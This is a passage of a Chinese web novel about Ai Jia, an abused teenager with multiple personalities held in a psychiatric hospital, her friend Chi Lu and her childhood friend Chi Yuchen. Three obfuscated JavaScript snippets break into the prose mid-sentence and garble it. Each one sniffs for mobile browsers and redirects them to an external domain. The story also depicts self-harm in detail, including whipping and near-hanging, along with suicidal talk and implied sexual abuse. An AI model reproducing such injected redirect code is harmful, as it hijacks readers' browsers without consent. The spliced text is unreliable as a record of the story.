她到底发生了什么,为什么会变成这个样子? 他离开之前,她不是很正常吗? 为什么他才离开一个月,她就变成这样了? 迟予辰不明白,又从艾嘉那儿得不到有效信息,便拿来笤帚想扫地。 艾嘉却一把夺走笤帚,格外惊惶,声音尖厉:“别扫!” “为什么不扫?”迟予辰皱着眉,心被紧紧揪着,忍住各种奔腾的情绪,尽可能温和地跟她说,“地上脏了,要扫。” “不要!不要扫!”艾嘉像执拗的孩子,紧紧地拽着笤帚,随后愤怒地把它扔到那脏乱的地上。 迟予辰现在还不敢下定论,艾嘉就是妈妈口中说的“疯子”。 他在艾嘉屋里待了一天,发现她的言行举止都很正常,除了有时有些偏执,希望什么事都要按她的来。 迟予辰推掉了高中同学聚会,一直陪着艾嘉,陪了她六天,发现她大多时候正常,偶尔会扔东西、砸东西,好好跟她说,她也会听。 但他发现一件奇怪的事,有几次,他好像在艾嘉的楼下看到了一抹熟悉的影子,像霍盛源。 他问艾嘉,霍盛源有没有来找过她。 她听到这个名字,整个人像被电到似的,身体猛然颤栗,嘴里念叨着“不要不要”。 为什么她会说这样的话? 迟予辰问她什么意思,艾嘉还是一直说着“不要不要”。 她蹲在床角,环抱着膝盖。 这模样,让他想到了之前她数学练习册里夹的那张草稿纸上的女孩,被一圈一圈的黑线圈住,像被困在无法走出去的牢笼。 前五天迟予辰晚上也想陪她,艾嘉不让。 再待一天就要走了,迟予辰想陪她一晚,便好言好语地哄她:“小嘉同学,今晚就让迟哥陪你,迟哥不跟你睡一张床,睡你家客厅的沙发,好不好?” “迟哥,你明天就要走了,是不是?”艾嘉边问边在草稿纸上胡乱地画线条,一圈又一圈的黑线,里面还是一个蜷缩着抱着自己双膝的小女孩。 “嗯,迟哥明天就走。”迟予辰望着目光有些呆滞的艾嘉,“你希望迟哥走吗?你要是不希望迟哥走,迟哥就留下来。” “迟哥,你说什么胡话。”艾嘉忽然笑了,“迟哥是名牌学校的大学生,以后是要当建筑师的。” “迟哥是名牌学校的大学生,迟哥以后会是知名建筑师。”迟予辰扬眉,自信满满道,“但迟哥更是小嘉同学的哥哥。不管什么时候,迟哥保护你!” * “迟哥,迟哥,迟哥……”站在窗口的艾嘉抽回思绪,喃喃自语,捧着日记本,双手微微颤抖,“迟哥,你现在在哪里?” 我想你了,迟哥! 19. 元旦绮梦 艾嘉把日记本合上,放在胸口。 她脑中很乱,那些不愿意想起的过往,纷至沓来,盘踞脑中,如毒蛇般,狠狠地啃噬她。 心脏一阵一阵地紧缩着,像被人用力扯住,东拉西扯,拉扯得她很疼。 霍盛源对她做的一切,在她心底生了根,此刻疯狂生长,把她的心塞得满满当当。 艾嘉透过铁栏杆,望着窗户,窗户上落满银辉,多美啊! 可是,为什么她看着看着又出现了霍盛源的脸,还出现了他践/踏自己的各种画面。 艾嘉顿时瞪大双眼,惊恐地望着窗户,将双手放在脑袋上,发生一声尖厉的“啊”。 随之响起,日记本掉落地上的啪嗒声。 响声惊醒了靠窗户最近的驰路,她睁开朦胧睡眼,朝声源看去。 就着些许月色,驰路看到尖叫的人是艾嘉,才立刻掀开被子,下了床。 她看到艾嘉快速蹲下,躲在墙后面,双手环膝,把脑袋埋在膝盖里,像个委屈的小孩儿。 她也蹲下,但她的蹲姿跟艾嘉的截然不同,她分开双腿,双手闲散地搭在膝盖上,懒懒地往墙上一靠,一副潇洒张狂的模样。 驰路有一副特别的烟嗓,用她那“我是老大”的口吻说:“艾嘉,又看到厉鬼了?” 她算了算,她双十二来到这个鬼地方,至今待了整整十九天,快要把她给憋疯了,唯一的陪伴是艾嘉。 活泼开朗的人格出现时,会陪她一起去休息室打桌球,打得还挺好;会陪她一起看她爱无聊的新闻播报;会一遍又一遍地告诉她,她暗恋霍盛源,两人在一起的事;也会跟她一遍遍讲陪了她十八年的竹马。 她从不同人格的艾嘉那儿听到了不同版本的霍盛源和不同版本的迟予辰。 几番下来,驰路算是明白了,那个她暗恋成真故事里的霍盛源是假的,是她另一个人格幻想出来的;那个她暗恋不得故事里的霍盛源是真的,迟予辰也是真的,对只有十八岁的她来说,太残酷。 驰路很想知道那个真实故事里霍盛源和迟予辰的结局。 艾嘉却只给她讲到国庆节那儿便戛然而止,问她,她却怎么也不讲了,说忘了。 看她那样子,也许是真的忘了。 驰路倒想知道真实故事里的后续发展。 艾嘉一动不动,没有回答驰路。 许久,艾嘉抬头,眼睛红通通的,脸上全是眼泪,可怜至极,声音里带着哭腔:“驰路,为什么这样的事会发生在我身上?为什么?” 须臾,她哭出了声。 这问题,驰路也想找个人来给她解答解答,她抬起一只胳膊,搂住艾嘉的肩膀:“这世界有时太操/蛋!我们就是这操/蛋世界里的陪葬品!” “陪葬品……”艾嘉喃喃道,“陪葬品挺好,不管用什么方式,把我杀了,再把我烧掉,骨灰要是能埋在我外婆、我妈妈的旁边最好,如果不能,就随便找片海撒了吧。” “别想死不死的,还不至于。”驰路轻轻地拍她的肩,“这世界想要我们做陪葬品,我们偏不做,偏不让它如愿!我们,一起好好活下去!” “怎么活下去?”艾嘉捋起病服衣袖,看到了手臂上残留的斑驳伤痕,一道道,在月光下,成了鬼魅,似乎要生生剜了她。 “你记得迟哥吧?”驰路提醒她。 “迟哥……”艾嘉那布满泪水的脸上忽然恢复了一点生机,如干涸大地落入雨滴,“我想迟哥了。” “你想想啊,你死了,你迟哥怎么办?” “不知道他现在在哪里。”艾嘉想起迟予辰常常笑着叫她“小嘉同学”,想起他那张阳光帅气的面庞,“如果他在就好了。” “他怎么可能在。”驰路嗤笑,她们是一帮精神病患者。 艾嘉口中的“迟哥”可是知名大学的高材生,将来可是要当知名建筑师的。 “是啊,我们跟他不一样。”艾嘉脸上的那点生机消失了,眼里涌上深深的茫然。 “艾嘉,只有你活着,才有机会再见到你迟哥。”驰路给她希望,希望她能好好活着。 “他来见过我吗?”艾嘉时常觉得自己的记忆断层,很多事都记不清。 驰路摇头,但很快笑着跟她说:“他一定会来见你的!” “为什么?” “你迟哥对你那么好,一定放心不下你!”驰路朝她递去坚定的眼神,“只要心里想着谁,一辈子都不会忘的。” 两人依偎着,驰路很快睡着,艾嘉陷入失眠。 艾嘉拿过自己床上的被子,小心翼翼地给驰路盖上。 她重新坐下来,钻进被子里,驰路又靠到她肩头。 艾嘉望着铁丝网投映在地上的光影,望的时间越长,那些光影里便出现了霍盛源,笑得极其诡异。 他张开双手,每根手指头上都长了超长利爪,满脸yin/邪:“学妹,快过来啊,过来学长身边,学长会让你神魂颠倒。” 她快速闭上眼睛,不再去看光影,可闭上眼睛,霍盛源还不放过他。 艾嘉一遍遍地在心里喊着“迟哥”的名字,企图用“迟哥”作为护身符,来驱赶霍盛源。 这招奏效了,霍盛源走了,各种笑颜的“迟哥”来了。 黑夜好像没那么难捱了。 艾嘉终于睡着了,但她睡得极浅,有一点动静都会被惊醒。 她是被咚咚声弄醒的,睁眼,侧耳倾听,是从哪儿发出来的声音? 病房里寂静万分,只听见病友们的打呼声、磨牙声,除此以外,没有别的声音。 咚咚咚。 声音又响起。 难道是她出现了幻听? 艾嘉没在意,想放任不管,但又听到咚咚声。 她听得有些心烦,不能不管了,她倒要看看这声音来自何处。 是从身后传来的,像在……敲窗户。 艾嘉并没有立刻站起来,而是先转过身,仰头望着被铁栏杆、铁丝网重重包围的玻璃窗。 须臾,她看到有人在敲窗,但只出现手,屈指,敲了三下,声音很轻,生怕被人听到。 这会是谁? 为什么会敲窗? 病人夜里无法外出,不是病人,难道是医护人员? 医护人员会无聊到来敲窗? 那会是谁? 想敲给谁看? 艾嘉的心猛地突突乱跳,她害怕,但又好奇。 最终,好奇战胜了害怕,她掀开被子,站了起来,立在窗前,透过牢笼般的窗户往外看,期待着能看到什么。 结果,什么都没有。 难道出现了幻视? 艾嘉知道身体出现了问题,幻听、幻视都是常有的事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15022965|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她刚想蹲下来,忽然看到很远很远的天际放起了烟火,很高、很远,几乎看不清。 她很喜欢看烟火,喜欢看烟火在天空炸开,绚烂缤纷,如天女散花。 如今,在这个小小的闭塞的病房里,她只能看得模模糊糊、隐隐约约。 她想起,以前每逢元旦、新年,迟予辰都要拉着她一起看烟火,一起玩仙女棒。 现在,迟予辰不在了,再没有人陪她一起看烟火,一起玩仙女棒了。 心里不免泛起一阵酸涩。 远处似乎敲响了钟声,这钟声有些耳熟,是每年元旦时晚上十二点整敲响的钟声。 不知从哪儿传来,但这让她知道,元旦来了,新的一年开始了。 她的窗前忽然绽放一簇烟火,腾起,倏然炸开,小小的火星,宛若萤火虫,在夜色中熠熠发光。 这是她的幻觉吗? 艾嘉揉揉眼睛,再看窗外,烟火还在空中炸开。 这是谁?谁拿着仙女棒? 她透过窗户,眼睛往下看,想要看看那只拿着仙女棒的手,但没有看到。 烟火炸完了,成了黑漆漆光秃秃的一根黑棍,黑棍没了。 不一会儿,又一根仙女棒在她眼前炸开,熄灭后,又冒出来一根。 这根跟之前的两根都不一样,心形,炸出的火光比先前的两根都要绚烂,仿若漫天星光。 举着仙女棒的那只手,一点点地往上移。 艾嘉渐渐看到了拿着仙女棒的那只手,手指劲瘦,骨节分明,像一只男生的手。 她刚想探身再多看一些,却听到窗外传来凌厉的声音:“谁在那儿?” 窗外传来一阵疾驰的脚步声,很轻很轻,轻得快听不见。 艾嘉朝脚步声的方向看,什么都没看到,却在地面上看到一道影子,蜷缩着奋力往前奔跑的身影,头发好像挺长,像女生。 她觉得自己真是病得不轻,连男女都无法分清了。 刚才出现的,是偷偷逃出来的某个女病人吧。 至于绽放的那三束烟火,都是她的幻觉吧。 迟哥,我好想你! 阿雪,我也好想你! 可是……你们怎么不在我身边了? 艾嘉靠墙,望着远处隐约可见的烟火,小声说: “迟哥,新年快乐!” “阿雪,新年快乐!” “祝你们身体健康,学业有成,如愿以偿。” 她想起电视里,被打了马赛克、面庞发紫的千雪。 又想起方才如梦似幻的三束烟火。 骤然间,泪水止也止不住地落下。 开弓没有回头箭,而她也没有伊甸园。 好似再没了日夜更迭,岁月一天天摧毁她的容颜。 …… 元旦伊始,幻梦一场。 她在这段烟火绮梦里,期许着未来,星光万里,万事如意。 * 艾嘉靠在驰路的肩膀上睡了一夜,早铃响起时,她猛然惊醒,发现身上盖着被子,身旁是空的。 她望向左边床位,看到一个短发女生正拿着梳子梳头,手里还拿着一柄小镜子,看样子格外在乎自己的外表。 艾嘉朝短发女生看过去,咂摸咂摸嘴,笑道:“小姑娘啊,别照了,再照也照不出什么花儿来。” 20. 大叔人格 驰路把镜子、梳子放进抽屉里,从艾嘉身上一把掀开被子:“赶紧起来!” “欸,我说小姑娘,你怎么这么没礼貌,有你这样对待长辈的吗?”艾嘉站起来,大大咧咧地拍了拍手,身上的热气忽然都没了。 她觉得冷,抱住自己,在驰路对面那张床上,爬上去,钻进被子里。 驰路毫不客气地又掀开艾嘉身上的被子:“大叔,再不起来,没饭吃了!” 一听到没饭吃,艾嘉连忙掀开被子,弹簧似的坐起来,飞快下床,刚想拔腿就跑,却又停下:“小姑娘,食堂在哪儿?” “我不叫小姑娘,叫驰路。”驰路拉起她的手往外面的洗漱间走,“走,跟我一起先去洗漱。” “我是男人,谁要跟你一起去洗漱!”艾嘉甩开她的手,“我不去!” “大叔,我带你去看看,你是男是女。”驰路无奈地摇了摇头,她有种想敲开艾嘉脑袋看看她发疯到什么地步的冲动,怎么分裂出了个大叔的角色。 艾嘉到了洗漱间,看着镜子里的自己,左看右看,横看竖看,总觉得不对劲:“奇怪,长得不是我想的样子啊。” 但这并不妨碍她继续做她的大叔。 * “善安”精神病院一共有四栋老旧高楼,艾嘉所在的这栋在最后一排,里面住的全都是女病人。 到了餐厅,见到的自然也都是女的。 艾嘉觉得奇怪啊,在打饭排队时,不住地前后看,怎么那么多人,没一个男的,全都是女的。 排队时,有人插队,艾嘉跑过去,挺直脊背,振振有词:“干吗呢你,好好排队!” 被说的人不知情,上来就想要怼她,被别人拉住,小声跟她说:“别理她,她是神经病,现在是警察身份,幻想着在执法。” “神经病怎么了,神经病我就应该让着她?”被说的女人提高音量,并没有去队尾。 “你说谁神经病?”艾嘉气得朝她直瞪眼,她恨不得把手里的托盘砸到这个女人脑袋上,但她是警察,警察是不能做这种事的。 她只好忍住气,挤出微笑:“这个大姐,你要遵守社会规则,你这样不遵守规则,再不去队尾,别怪我不客气。” “你威胁谁呢!”女人朝艾嘉吹鼻子瞪眼,气得伸手就往艾嘉脸上呼去。 艾嘉刚想抬手抓住女人的手,结果,另一只手先她一步抓住女人的手,牢牢地抓着,让她动弹不得。 她看到一截纤细的手腕,白皙光滑。 艾嘉转头去看,是她对床的姑娘,听到她说:“你他/妈排队尾去!” 驰路的眼里透出一股凶狠劲儿,像锋利的刀刃。 女人看了吓得身体抖了下,乖乖地去队尾了。 驰路朝艾嘉挑了下眉,颇为得意:“警察大叔,还得我来。” “小姑娘,没看出来啊,你还有两下子。”艾嘉朝她竖起大拇指,笑着说。 两人取完饭,找了个空位坐下来。 “这都什么菜,喂猪的吧。”艾嘉巴拉着盘里唯一的菜——肉炒白菜,肉见不到一块,白菜全都是菜帮。 驰路刚开始来时跟艾嘉的想法一样,她根本一口都不想吃,也这样做了, 结果,别人才不管你吃不吃,你爱吃不吃。 没办法,她饿了三顿,不得不妥协。 “有吃的就不错了。”驰路每次吃的时候都这样安慰自己。 “想吃肉,大块的红烧肉。”艾嘉翻了翻,好容易从最下面翻出一块肉丁,眼睛发光,刚吃一口,立马觉得味道不对,吐到桌上,“馊了。” “大叔,你就别指望在这儿能吃到肉。” 艾嘉不知道是不是饿了,埋头吃起菜帮子。 “你看,她就是我跟你说的那个神经病。” “就是有几个人格的吗?” “是啊,好像有四五个。” “这么多呢。” 说话的两个人在艾嘉旁边,两人直勾勾地盯着她看,看得艾嘉很不爽,停了筷子,扭头瞪她们。 艾嘉怎么觉得,这两人议论的对象是自己! 可恶,谁是神经病,你们才是神经病! “她现在的人格是警察,刚才你不也看到了。” “好像有个人格看起来正常,但其实是最不正常的,是吧?” “你说的这个人格,她把受害者当……” 驰路听不下去,拎起餐盘,长腿一跨,两步到了她们桌旁,“啪”地一声,把盘子重重地砸在她们桌上,抬起右腿,踩在桌子一侧的横杠上,特大姐大的架势,。 驰路用刀锋一样的眸光望着她们,烟嗓透出金属的冰冷感:“你们给我闭嘴!” 她们看到了发狠时的驰路,身体不由得一震。 这不就是传说中的“混世女魔王”。 在她们这一片区域,无人不知这个“混世女魔王”。 传闻,驰路来的第一天被人揍了。 第二天,驰路就把那人给揍回去了,揍得对方下不了床。 从此,驰路得了个“混世女魔王”的头衔,人人不敢惹她。 这俩八卦的,连连点头,低头扒饭,不敢再说一句话,快速扒完饭走了。 艾嘉刚吃了一半的白菜帮子,听到这俩人说的话,心情顿时不好了。 她们接下来想说什么?为什么驰路要打断她们? 她好想破案,对,赶紧去找那两人,问问看什么情况! 艾嘉连忙放下筷子,朝即将要走出餐厅的两人跑去,抓住其中一人的手问:“告诉我,刚才你们说的是不是我,我把受害者当什么,说清楚了再走!” 驰路没了吃饭的心情,揉了揉短发,气得跑过去,撤下艾嘉的手,朝那两人使了个“你俩给我快走”的眼神。 “驰路,你什么意思?”艾嘉特别不爽地看她。 驰路的耐心几乎快用尽,很想大声跟艾嘉说“你能不能给我安分点”。 但她还是忍住了,毕竟,她是病人,她能拿病人怎么样。 “走,该去领药了。”驰路说,“去晚了就领不到了。” “领什么药?”艾嘉一脸茫然,“我好好的,要吃什么药。” “你是女的,不是男的。”驰路说,“就冲这点,大叔,你说你要不要吃药。” 领药的时候,驰路还在劝艾嘉:“大叔,你吃完药,才能抓坏人,是不是?” “有道理。”艾嘉这次乖乖地当着护士的面吃了药。 驰路的药依然没吃,谁也没发现。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030268|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 吃完药有一段听音乐时间,之后是检查、治疗时间,每个人都不同。 艾嘉属于严重的,每周至少做两次电休克治疗。 她本来极其不愿意做,但驰路告诉他,治好了,医生会把手铐还给他,她就有抓坏人的工具了。 艾嘉就这样被她哄着骗着同意了,这次格外乖顺地跟着护士往治疗室走。 半途,艾嘉看到一个大腹便便的中年男人,半秃,额头很宽大,旁边跟着两个穿着白大褂的医生。 艾嘉跟中年男人错身而过时,发现他盯着自己看,笑着看她,那笑容看着格外亲切,但怎么看得她有点发毛。 她问女护士:“小刘啊,刚才中间的男人是谁啊?” “单院长。”女护士说。 “哦,院长啊!”艾嘉煞有介事地点点头,怪不得看上去像个领导。 艾嘉进了治疗房,躺到床上,看到医生拿着一根针筒过来时,顿时吓得跳下了床,急忙摆手:“我不要打针!” 男医生安抚她:“这是麻醉药,待会儿还要注射肌肉松弛药,不打的话,做电休克治疗,你的身体会抽搐。” 艾嘉想起坏人被警棍电击的画面,身体抖了一下,又乖乖地躺了回去。 治疗结束,艾嘉揉了揉脑袋,感觉有些头晕。 护士想要把她送回病房,她不好意思麻烦她,独自往病房走去。 可是,她的病房在哪里? 她看了看四周,墙壁剥落,但地面上没有一块落下的墙皮,哪怕屑子都没有,地面铺着瓷砖,多处裂开,但被打扫得很干净。 地面湿漉漉的,艾嘉在上面滑,越滑心情越愉悦,嘴角弯起,眉眼含笑。 她滑得开心,边滑边唱:“你发的娃娃脸,降落在身边,可惜我还没有发现。你画的娃娃脸,拿铁上圈点,倒一杯爱情的香甜……” 她想起了霍盛源,那个站在樱花树下看书的少年,那真是,行至春光乍现处,繁花尽头是少年。 她的少年多美好! 艾嘉在湿漉漉的瓷砖地上,伸着手臂,旋转着,甚至有时跳跃着,有几次差点要滑倒,她全然不在意,完全沉浸在美好的暗恋里,脑中一遍遍闪过她喜欢的少年不同的模样。 快到拐弯处,艾嘉听到几下重重的响声,被吓了一跳,她不跳了,踮着脚尖朝那儿走去。 贴着墙角听到有人在说:“你这个老太婆在过道上每次都弄这么多水,不知道会让人滑倒吗!” “傻/逼玩意儿!” 艾嘉探头过去,看到有两个中年女病号正围着一个肥硕的女人,用拖把头使劲刷她的脑袋,边刷还边往下按,试图想把她的脑袋往拖把桶里按。 “你们在干什么?”艾嘉立刻从墙后面走出来,用力推开那个拿着拖把的女病号,又迅速从她手里拿过拖把,用湿漉漉那头对着她,“你们再敢来,信不信我打你们!” 她说得很横,装作很厉害的模样。 但女病号看到艾嘉的手在哆嗦着,拖把布上的水就那么晃晃悠悠地往下落。 她哆嗦得越厉害,水落得越快。 女病号笑了,看出来了艾嘉不过是个纸老虎,一把从她手里夺过拖把,又快速地用木头柄砸她的脑袋,砸了一下又一下。 21. 身体遍布伤痕 艾嘉被砸得脑袋嗡嗡作响,疼痛阵阵袭来。 女病号用的力道越来越大,她感觉脑壳儿都快被敲开了! 也许,人被逼急了,就会生出无尽的勇气和力气,艾嘉觉得她再这么被打下去,自己的脑壳儿都要被打坏了 那就来波狠的吧——逃! 艾嘉拽起肥硕女人的手往前跑,拼命地往前跑,听到她说:“跑什么啊,我还要打扫卫生。” “阿姨,再不跑,我们要被打死的。”艾嘉转头看女人,“你是想回去被她们欺负吗?” 她们在前面跑,后面的两个女病号在她们身后追。 肥硕女人跑起来格外吃力,两个像西瓜般的屁股晃啊晃,晃的幅度越来越小。 “艾嘉,阿姨跑不动了。” 艾嘉看到后面的人还在追,拉开最近的一扇门,跑了进去,锁上了门。 门刚锁上,她听到身后传来男声:“你们来这里做什么?” 艾嘉惊得往后一看,看到了刚才在过道上看到的三个人,其中有一个是……什么,院长吧。 她面色一喜,走到院长面前:“院长,救救我们,有两个女的要打我们。” “我去看看。”其中一个医生往门前走去,院长也跟着走了过去。 医生打开门,看到冲到门口,试图要进来的两个气势汹汹的女病号。 后来,那两个女病号被制住了,听说,还被关了小黑屋。 艾嘉跟院长和医生表示了感谢,真想给他们送一面“人间好医生”的锦旗。 那位阿姨跟艾嘉说,她姓“赵”,以后可以叫她“赵阿姨”。 赵阿姨还跟艾嘉说:“谢谢你啊,艾嘉,你都救我多少次了。”说完,赵阿姨红了眼眶,用手背抹眼泪。 救她好多次?艾嘉深感疑惑,她不是才救她一次吗。 可能她忘了吧,医生跟她说,做完电休克治疗后,会出现短暂的记忆消失。 * 每天下午,医院会有一次让病人外出放风的时间,一次半小时,那是艾嘉最喜欢的时刻。 艾嘉跟驰路一起来到了放风的小花园,说是小花园,其实只有草地、树、长椅,花树一棵没有。 艾嘉裹着厚厚的浅蓝色羽绒服在小花园里散步,把其中一棵树看成了樱花树,跟驰路说:“驰路,这是樱花树,你看上面开满了樱花,樱花下还站着一个少年。” 这不是驰路第一次听她说这话,所以,反应平平。 她双手插兜,坐到长椅上:“坐下来休息下。” “我要去跟我的学长聊聊天。”艾嘉看着树下站着的霍盛源,看着他正朝自己无比温柔地笑,她也笑了,走到一棵香樟树下,对虚无的霍盛源说:“学长好,我叫艾嘉。” 她还想跟霍盛源说什么,却被驰路一把拉过来,坐到长椅上:“来,我们好好晒晒太阳。” “晒太阳有什么意思,我要跟我的学长聊聊天。”艾嘉想站起来。 驰路按住她的手,她恨不能直接告诉她,哪来的霍盛源,霍盛源就是禽兽! 但她知道,这个人格的艾嘉算是最正常的、最开心的,她不忍心打破。 有时,刻意的隐瞒,比揭穿真相更重要。 驰路对于自己的这种隐瞒也不知道对不对,但她现在不想说,就让艾嘉活在幻想里吧。 人间万重路,不用事事大张旗鼓。 尤其是她被关进这儿之后,驰路更深有感触。 之前,驰路会抱着听故事的心态来听艾嘉的故事。 但全部听了一遍后,她倒不想听了,不是听烦了,也不是听厌了,而是觉得艾嘉可怜,霍盛源可恨。 艾嘉的每个故事版本都不一样。 组合起来,就像在糖果里藏了刀子,刀刀下去,切出血肉。 血淋淋,才是故事的真相。 看艾嘉每一次笑,她的内心都很复杂。 “艾嘉,如果你的学长没你想象中那么好呢?”驰路试探性地问她。 艾嘉重新坐回去,歪着脑袋,面露不解:“怎么可能没有我想象中好,他对我很好啊,天天晚上给我补习功课,我有什么不懂的,他都会很有耐心地给我讲。” “不是每个人都是完人。” “我的学长就是完人!”艾嘉格外坚定,笑了起来,“他很好很好!” 驰路知道,这种情况是不能跟她争辩的,又听艾嘉讲了一遍她跟她的霍学长是怎么相遇、相识、相爱的浪漫爱情故事。 第一次听,驰路觉得新鲜、羡慕。 第二次听,驰路勉强一听。 这之后的每一次,她都不想听了,但还得听。 谁让在这个医院里,她是艾嘉唯一的朋友,当然,艾嘉也是她唯一的朋友。 驰路并没有认真在听艾嘉讲,艾嘉也没指望能从她那儿得到什么反应,她需要的,只是一个不打断她的倾听者。 驰路走神中,正看着草地上有一群蚂蚁正在搬一个不明食物,类似面包碎渣。 她一路追随着蚂蚁,看到蚂蚁不辞辛劳地把食物往它们的家搬去。 它们的家在哪里呢? 蚂蚁爬到了低矮植物后面,不见了。 驰路在植物间看到了一抹粉色,那是什么? 她猛然起身,走到低矮植物前,先看了看四周,有巡视的护士,也有三五成群聊天的病号,她们并没有看向她这边。 驰路弯下腰,小心地拨开树枝,看到了树枝里藏着一个水晶球,粉色底,上面有圆形玻璃罩,罩子里有一座粉色城堡,很美的一个水晶球。 这玩意儿从哪儿冒出来的? 好东西,当然要跟好朋友分享。 驰路走到艾嘉身边,发现她还在说着她跟霍盛源的浪漫爱情故事,她真是病得不轻! 她小声在艾嘉耳边说了几句。 艾嘉一惊,跟她来到了植物前面。 驰路这次没蹲下来,而是用鞋拨开树枝。 艾嘉看到了掩映在常青绿植中的水晶球,一阵疑惑,蹲下来仔细去看,看着看着,某个记忆口子被撕开。 她的脑中嗡地发出巨响,如同天空劈下一道惊雷,直接把她身体里的主体人格震醒。 艾嘉不可思议地捂嘴,这跟她的那个水晶球长得一模一样。 她久久地怔住,遗失的某些记忆开始在她脑中闪过,起初是混乱的、无序的,渐渐像珍珠一样,被一个个串起来,只是顺序还没对。 艾嘉觉得脑袋好疼、好涨,她摇摇脑袋,让自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038046|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么都不去想,在心里一遍遍喊着“迟哥”的名字,才算好些。 她想去拿那个水晶球,听到铃声响起,是她们放风的时间结束了。 “别拿。”驰路附在艾嘉耳边说。 “驰路,这好像迟哥送我的那个。”艾嘉的手想要往里伸去拿水晶球。 驰路拽住她的手,朝她摇摇头,小声跟她说:“如果是你的迟哥送你的,你更不要拿,拿了是要被没收的。你忘了吗,我们什么都不能留,连手机都被没收了。” “不,我要拿!”艾嘉在她手心里挣扎,目光直直地盯着水晶球。 “没收了就没有了。”驰路咬牙,压低声音说。 艾嘉的手不挣扎了,听到身后的护士说:“你俩在做什么,赶紧站起来,进去!” 站起来前,艾嘉用树枝把水晶球盖住。 驰路发现艾嘉又变回那个忧郁的、眼睛无神的艾嘉了,毫无生气。 艾嘉走得很慢,跟在她身后。 驰路走慢了等她,一转头,见她目光空洞,不知在看什么,听到她用无力又无望的语调说:“驰路,我想起来了。” “想起什么了?” “国庆节,”艾嘉的嘴角忽然上扬,扯出一抹意味不明的笑,“迟哥没走。” “他没走?”驰路奇怪,“他不是要去上学,怎么没走?” “因为我,他请假了。”艾嘉的笑容变得苦涩。 …… 驰路想知道接下来发生了什么,拉着艾嘉回了病房,病房里其他人都去休息室了,就剩她俩。 艾嘉靠在铁床上,望着阴沉沉的天,面露怅然,声音忧伤:“如果他不留下就好了。” 艾嘉想起了迟予辰跟她说:“你希望迟哥走吗?你要是不希望迟哥走,迟哥就留下来。” 她希望迟予辰留下来,这样就有人陪她一起趟黑暗之河了。 但她又不希望迟予辰留下来。 他跟她不一样,他该有光明前途,不该跟她一起混沌度日,她不该把他拉着拽着去趟黑暗之河。 她的黑暗国度,她一个人过就好了,为什么还要拉上对她最好的迟哥? 在那一束颤颤巍巍的灯光下,艾嘉望着草稿纸上无助的女孩,半晌,转头笑着跟迟予辰说: “迟哥,你不用留下来,你不属于这里。” 这里属于她,她这一辈子会烂死在霍盛源制造的沼泽地里。 那晚,艾嘉破天荒地让迟予辰留下来了,因为她知道,这是她跟迟哥能在一起的仅有的一晚了。 再见,就得要过年了。 迟予辰去客厅沙发睡,艾嘉坐在床的一角,与迟予辰一墙之隔,她一动都不动,让自己不发出一点声音。 黑暗的房间变得格外安静,安静到她似乎能听到迟予辰安稳匀称的呼吸声。 她睡不着,这已经成了常态。 不知从何时开始,她有个怪癖,总要做点事让自己疼,好像才能证明自己还活着。 平时,她会拿一条鞭子抽打自己,一下一下,用力抽。 这是霍盛源给她带来的后遗症,一天身体不疼,就觉得身心空了。 她的身体遍布伤痕,哪些是霍盛源给她的,哪些是自己给的,完全分不清了。 22. 为她放弃一切 那晚迟予辰在,艾嘉只能轻轻地用鞭子抽自己的身体,但力道不够。 她不自在,不禁加重力道,啪啪啪的声音在身上重重响起。 她听到客厅传来声音:“小嘉同学,你在干吗?” 艾嘉这才停止对身体的抽打,声音有点颤:“没什么,刚才不小心撞到了桌子。” “你怎么还没睡?” “下来喝水的。” “快点睡吧。” 艾嘉没睡,生怕鞭子抽/打身体的声音会惊醒迟予辰,她只好拿来了一根细绳,紧紧地缠上自己的左手腕,缠了好多圈,缠得她感觉手腕都疼了,几乎要被缠断了才松手。 缠,松开;再缠,再松开,如此往复,一遍遍地凌/虐自己。 缠完手腕还不够,她把绳子挂到吊灯上,她踩到椅子上,把脖子伸进绳子上,踮脚,让绳子勒自己的脖子,勒得喘不过气来才拿掉绳子,落回椅子。 做了四五次,次次都要徘徊在死亡边缘才放过自己。 清醒时,艾嘉知道自己这样做不对,但每到夜晚,她就控制不住伤害自己。 * 迟予辰清晨醒来去艾嘉房间里,看到的便是一根绳子挂在吊灯上,艾嘉躺在地上,身上没有盖被子,还穿着外套,脖子上有道道淤青。 他又惊又慌,呆愣在房间门口,身体像被人定住,想抬脚,却迈不开一步。 他的小嘉同学,真的成沉睡公主了吗? 迟予辰的一颗心猛然下坠,坠入无底深渊。 仿佛被重重巨石压住,他快要无法呼吸。 他一步一步地往前走,脚步灌了铅似的,每一步都走得无比艰难,像走在刀尖上,每走一下,脚都要被割一下。 迟予辰定定地望着躺在地上的艾嘉,她睡着的样子好安详。 她不会死去的,对不对? 